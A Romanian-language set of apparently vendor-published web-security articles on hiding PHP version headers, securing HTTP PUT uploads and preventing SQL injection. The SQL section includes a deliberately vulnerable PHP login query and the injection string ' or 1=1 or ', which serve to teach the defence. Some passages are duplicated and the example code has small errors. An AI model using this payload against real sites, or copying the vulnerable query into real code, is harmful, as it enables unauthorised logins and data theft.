Un alt antet comun este antetul X-Pingback folosit în multe instalari de WordPress. Acesta este un exemplu de antet fără implicații de securitate, și poate fi ignorat fără probleme. Există in practica multe X-* headere, și fiecare rezultat, ar trebui să fie verificat pentru a vedea dacă se ofera informații despre versiunea platformei site-ului.

 

De ce ar trebui sa ascund aceste headere ?

 

Un atacator dedicat, poate afla aceste informații printr-o varietate de metode, dintre care, cele mai multe nu pot fi prevenite cu ușurință. Prin ele însesi, aceste informații oferă o valoare mică pentru un atacator.

 

Cea mai comună utilizare a acestui tip de informații, este cea in care se caută pe Google dupa configurații specifice cunoscute a fi vulnerabile, sau vulnerabilitati deja depistate, si se automatizeaza atacuri cunoscute ca ar functiona împotriva unor setări similare cu ceea ce se gaseste pe site-ul dvs. Eliminarea acestor informații scade probabilitatea unor astfel de atacuri.

 

 

Solutii – Cum sa dezactivezi X Headers

 

Deși nu este neapărat posibil sa previi complet descoperirea acestor informatii, este posibil să le faci mult mai dificil de descoperit pentru atacatori. Cel mai des intalnit X header pe care vrem sa il inlaturam este X-Powered-By din PHP. Iata cum se elimina aceasta :

 

  1. Navigati la fisierul de configurare php.ini. Acesta este localizat de obicei in /etc/php.ini or /usr/bin/php/php.ini
  2. În cazul în care nu este aici, puteți încerca o comandă Unix pentru a-l localiza, sau executati un phpinfo() în PHP pentru a vedea tot directorul.
  3. Deschideți fișierul utilizând un editor de text. Pe sistemele Unix, cel mai comun este vi (comanda: vi php.ini)
  4. Găsi linia, inclusiv expose_php (daca folositi vi, puteți găsi rapid acest lucru prin tastarea în / expose_php)
  5. Actualiza, astfel încât expose_php este dezactivată – expose_php = off
  6.  Reporniți Apache (sau alt server web). Pentru Apache, aceasta este în general httpd restart.

 

Resurse Suplimentare

Scanati pentru tot felul de vulnerabilitati

HackerAdvisor.com include scanari numeroase si diferite, care te vor ajuta sa-ti securizezi site-ul, inclusiv te vor ajuta sa descoperi amenintari mici si obscure, care pot deveni majore. Adaugam constant si mai multe, in procesul de scanare.

 

dehackeradvisor™

Securitatea HTTP PUT

Mulți dezvoltatori web sunt familiarizați cu metodele GET și POST care permit unui utilizator să transmita date unui site web. Mai puțin cunoscuta este metoda PUT, care permite unui utilizator sa incarce fișiere și a le transforma în automat in adrese noi URL.

 

Securitate & HTTP PUT

Mulți dezvoltatori web sunt familiarizați cu metodele GET și POST care permit unui utilizator să transmita date unui site web. Mai puțin cunoscuta este metoda PUT, care permite unui utilizator sa incarce fișiere și a le transforma în automat in adrese noi URL.

PUT poate fi periculos dacă nu este corect securizat. În cel mai rău caz, ne imaginăm un site care permite sa foloseasca PUT si sa incarce fisiere. Un atacator ar putea construi un script PHP special, care ar putea adăuga un nou cont de utilizator pentru server, cu drept de acces root (admin). Atacatorul efectuează apoi un HTTP PUT cu acest script PHP, ca rezultat va fi formata o nouă adresă URL . În cazul în care atacatorul navighează la acest URL, fișierul PHP este executat de către serverul de web, și poate avea acces sa modifice orice fișiere de utilizator pe sistemul la care are acces, inclusiv pagini web existente.

Uneori PUT este o componenta folositoare a unui site. Solutia este sa fii sigur că doar utilizatorii autentificați au acces, si cei autentificați sunt atent limitati, astfel încât numai utilizatoriilor de încredere li se permite să efectueze PUT. În acest mod, utilizatorii PUT au acelasi nivel de incredere ca si cand ar avea un cont pe server, și au posibilitatea de a încărca sau modifica fișiere prin alte metode, cum ar fi FTP.

 

Cum afecteaza aceasta securitatea mea ?

 

Dacă solicitările de PUT sunt acceptate de conturile care nu sunt de incredere (în general non-administrator) , atunci aceasta vulnerabilitate va permite unui atacator să preia controlul complet al site-ului dvs. și eventual, al întregului server web.

 

Implementarea Securizarii HTTP PUT

 

Daca site-ul nu are nevoie de funcționalitatea PUT, atunci, este recomandat să treceți la un alt protocol securizat care folosește datele de conectare specifice de utilizator, cum ar fi SFTP. Dacă este nevoie de PUT pentru site, asigurați-vă că ati blocat toți utilizatorii. O autentificare dubla este cea mai bună metodă de a asigura acest tip de funcționalitate – în primul rând cu un nume de utilizator și de asemenea, cu autentificare HTTP.

In this manner, users will be named and limited in who can perform PUT requests.

Daca site-ul nu are nevoie de funcționalitatea PUT, atunci este recomandat să treceți la un alt protocol securizat care folosește datele de conectare specifice de utilizator, cum ar fi SFTP. Dacă este nevoie de PUT pentru site, asigurați-vă că ati blocat/securizat accesul pentru toți utilizatorii. O autentificare dubla este cea mai bună metodă de a asigura acest tip de funcționalitate – în primul rând cu o autentificare web cu nume de utilizator, și in plus, cu autentificare HTTP.

 

 

Resurse Suplimentare

 

 

Apache PUT information
PUT vs. POST
Setting up Secure HTTP Authentication with Apache

 

Cauta Setarile necorespunzatoare pe serverul tau

HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv depistarea setarilor necorespunzatoare pe serverul web.

 

dehackeradvisor™

Prevenirea atacurilor SQL Injection

Cele mai multe site-uri au o modalitate de a stoca date, cea mai frecventa este cea care foloseste o bază de date. Când se foloseșt baze de date SQL pentru a stoca date site-ului, un proprietar de site trebuie sa se fereasca de atacurile SQL Injection, care pot fi folosite pentru a fura sau a modifica datele utilizatorilor.

Prevenirea atacurilor SQL Injection

 

Unele site-uri care returnează rezultate diferite pe baza informațiilor transmise de utilizator (cum ar fi spre exemplu, logarea un utilizator în baza unui username / parola) nu pot filtra în mod corespunzător toate datele introduse de utilizator. Astfel, atunci când un utilizator introduce unele date, acesta poate modifica datele dintr-o încercare de a schimba interogarea SQL asupra bazei de date. Dacă reuseste, atunci atacatorul poate fi în măsură să se conecteze ca si administrator, sau poate fura alte date ale utilizatorilor.

Imaginați-vă că aveți datele de logare a utilizatorilor, stocate într-o tabela a bazei de date (utilizatori), și ca aceasta are următoarea structură:

 

CREATE TABLE users(
	User_id INT,
	username VARCHAR(30),
	password VARCHAR(30)
	);

 

Uitandu-ne la codul pe care site-ul il foloseste pentru a trata procesul de log-are, observam ca se construiește dinamic o interogare SQL în PHP, după ce un utilizator a tastat numele de utilizator și parola într-un formular (cu campurile – utilizator și parola):

<?php
$results = mysql_query( "SELECT use_id FROM users WHERE username='".$_POST['user']."' AND password='".$_POST['pass']);
?>

 

Principala problemă de mai sus este ca datele de la utilizator nu sunt securizate, variabila POST este folosita pentru a trage date direct din formularul de login, și plasându-l în interogare. În acest moment, un atacator ar putea încerca sa puna într-un șir special pentru nume de utilizator:

‘ or 1=1 or ‘

Acum, interogarea returnează întotdeauna primul utilizator (potential administratorul ) și atacatorul se poate conecta ca si administrator!

 

Si alte atacuri sunt posibile folosind o logica similara. În loc să se conecteze ca administrator, un atacator ar putea folosi alte siruri de caractere speciale, pentru a solicita date din baza de date la care nu ar trebui să aibă acces, ar putea aduna toate datele din baza de date la care un utilizator al bazei de date are acces.

 

Cum afecteaza asta securitatea mea?

Un atac reusit ar permite unui atacator sa obtina majoritatea sau chiar toate informatiile din baza de date, inclusiv toate datele sensibile, și se conecteze cu drepturi de administrator.

SQL Injection este una dintre vulnerabilitățile cu riscul cel mai ridicat pe care il poate avea un site.

 

Cum sa previi Injectiile SQL ?

 

Atacurile de tip SQL Injection pot fi prevenite într-un mod similar cu XPath Injection. Cel mai bun mod este de a securiza cu atenție datele introduse de utilizator. Orice date primite de la un utilizator ar trebui să fie considerate nesigure. Eliminarea tuturor ghilimelelor simple și duble ar trebui să elimine cele mai multe tipuri de acest tip de atac.

 

 

Aveti grija la eliminarea ghilimelelor, deoarece poate avea efecte secundare, cum ar fi situatia când numele de utilizator ar putea conține ghilimele valide. Imaginați-vă nume comune, cum ar fi O’Malley, care conține ghilimelelor legitime și pot fi introduse printr-un formular ca si nume de utilizator. În aceste cazuri, campul de intrare ar trebui să fie escaped, de multe ori prin adaugarea unui \ în fața ghilimelei. Verificați in bibliotecile specifice și software-ul de bazei de date pentru sintaxa corespunzătoare.

 

Majoritatea bibliotecilor de programare conțin funcții pentru a face escape la datele introduse de utilizator. Consultați documentația specifică pentru modul corect de a face escape automat la date, inainte de interogarea bazelor de date SQL. În PHP si MySQL, mysql_real_escape_string este funcția de a face escape la datele de interogare periculoase. Folosind aceasta sau funcții similare, care trateaza toate datele introduse de utilizator va ajuta la mentinerea unui cod securizat.

 

În al doilea rând, scrie toate interogările SQL folosind interogări parametrizate, astfel incat interogarea este pre-definita, și datele tastate sunt verificate si transmise ulterior. În PHP, de exemplu, ai putea re-defini interogarile mentionate anterior folosind această interogare parametrizata, cu scopul de a preveni atacurile SQL injection:

 

<?php
	$query= "SELECT user_id FROM users WHERE username=? and password=?";	//query definition
	$preparedStatement=$database_connection()->prepare($query);				//prepare the statement
	mysqli_stmt_bind_param($preparedStatement, 'ss', $field1, $field2);		//prepare to bind two Strings (the ss)
	$field1 = $_POST['user'];			//you may want to do more input checking here!
	$field2 = $_POST['pass'];			//you may want to do more input checking here!
	mysqli_stmt_execute($preparedStatement);	//execute the parametrized query
?>

Resurse Suplimentare

SQL Injection Cheat Sheet
Prevent SQL Injection in PHP with MySQL
SQL Injection by Example

Prevenirea Injectiilor SQL (SQL Injection Attacks) asupra site-ului tau

HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv atacurile SQL Injection.